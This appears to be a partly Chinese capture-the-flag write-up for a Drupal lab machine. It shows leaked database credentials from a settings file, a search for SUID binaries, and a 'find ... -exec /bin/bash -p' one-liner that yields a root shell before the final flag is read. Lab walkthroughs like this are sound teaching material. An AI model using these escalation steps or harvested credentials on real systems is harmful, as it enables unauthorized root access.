* flag2 * Brute force and dictionary attacks aren't the * only ways to gain access (and you WILL need access). * What can you do with these credentials? * */ $databases = array ( 'default' => array ( 'default' => array ( 'database' => 'drupaldb', 'username' => 'dbuser', 'password' => 'R0ck3t', 'host' => 'localhost', 'port' => '', 'driver' => 'mysql', 'prefix' => '', ), ), );
Drupal hash script - to generate a hash from a plaintext password *
Check for your PHP interpreter - on Windows you'll probably have to replace line 1 with #!c:/program files/php/php.exe * @param password1 [password2 [password3 ...]] Plain-text passwords in quotes (or with spaces backslash escaped). */
-type f: 只查找普通文件,排除目录等其他类型的文件 -exec ls -la {} 2>/dev/null ;: 对查找到的文件执行 ls -la 命令 2>/dev/null 表示将标准错误输出重定向到 /dev/null,以避免显示不必要的错误信息 -perm匹配权限
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
-rwsr-xr-x 1 root root 88744 Dec 10 2012 /bin/mount -rwsr-xr-x 1 root root 31104 Apr 13 2011 /bin/ping -rwsr-xr-x 1 root root 35200 Feb 27 2017 /bin/su -rwsr-xr-x 1 root root 35252 Apr 13 2011 /bin/ping6 -rwsr-xr-x 1 root root 67704 Dec 10 2012 /bin/umount -rwsr-sr-x 1 daemon daemon 50652 Oct 4 2014 /usr/bin/at -rwsr-xr-x 1 root root 35892 Feb 27 2017 /usr/bin/chsh -rwsr-xr-x 1 root root 45396 Feb 27 2017 /usr/bin/passwd -rwsr-xr-x 1 root root 30880 Feb 27 2017 /usr/bin/newgrp -rwsr-xr-x 1 root root 44564 Feb 27 2017 /usr/bin/chfn -rwsr-xr-x 1 root root 66196 Feb 27 2017 /usr/bin/gpasswd -rwsr-sr-x 1 root mail 83912 Nov 18 2017 /usr/bin/procmail -rwsr-xr-x 1 root root 162424 Jan 6 2012 /usr/bin/find -rwsr-xr-x 1 root root 937564 Feb 11 2018 /usr/sbin/exim4 -rwsr-xr-x 1 root root 9660 Jun 20 2017 /usr/lib/pt_chown -rwsr-xr-x 1 root root 248036 Jan 27 2018 /usr/lib/openssh/ssh-keysign -rwsr-xr-x 1 root root 5412 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device -rwsr-xr-- 1 root messagebus 321692 Feb 10 2015 /usr/lib/dbus-1.0/dbus-daemon-launch-helper -rwsr-xr-x 1 root root 84532 May 22 2013 /sbin/mount.nfs
找到 -rwsr-xr-x 1 root root 162424 Jan 6 2012 /usr/bin/find,根据查找结果可以看到/usr/bin/find被赋予了suid权限,而他的所有者为root,我们可以这样获取一个root权限的shell:
1 2
find /etc/passwd -exec /bin/bash -p \; whoami
1 2
返回 root
成功提权
1 2 3 4 5 6 7 8 9 10
ls /root/ thefinalflag.txt
cat /root/thefinalflag.txt Well done!!!!
Hopefully you've enjoyed this and learned some new skills. You can let me know what you thought of this little journey by contacting me via Twitter - @DCAU7